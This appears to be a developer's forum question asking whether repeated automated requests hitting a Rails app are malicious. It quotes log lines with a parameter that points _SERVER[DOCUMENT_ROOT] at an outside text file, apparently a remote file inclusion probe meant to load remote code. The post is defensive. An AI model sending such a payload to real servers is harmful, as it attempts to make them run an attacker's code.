Lately I've been finding a lot of strange requests like this coming to my rails app:

Processing ApplicationController#index (for 189.30.242.61 at 2009-12-14 07:38:24) [GET]
  Parameters: {"_SERVER"=>{"DOCUMENT_ROOT"=>"http://www.usher.co.kr/bbs/id1.txt???"}}

ActionController::RoutingError (No route matches "/browse/brand/nike  ///" with {:method=>:get}):

It looks like it's automated as I get a lot of them and notice the strange parameters they're trying to send:

_SERVER"=>{"DOCUMENT_ROOT"=>"http://www.usher.co.kr/bbs/id1.txt???

Is this something malicious and if so what should I do about it?
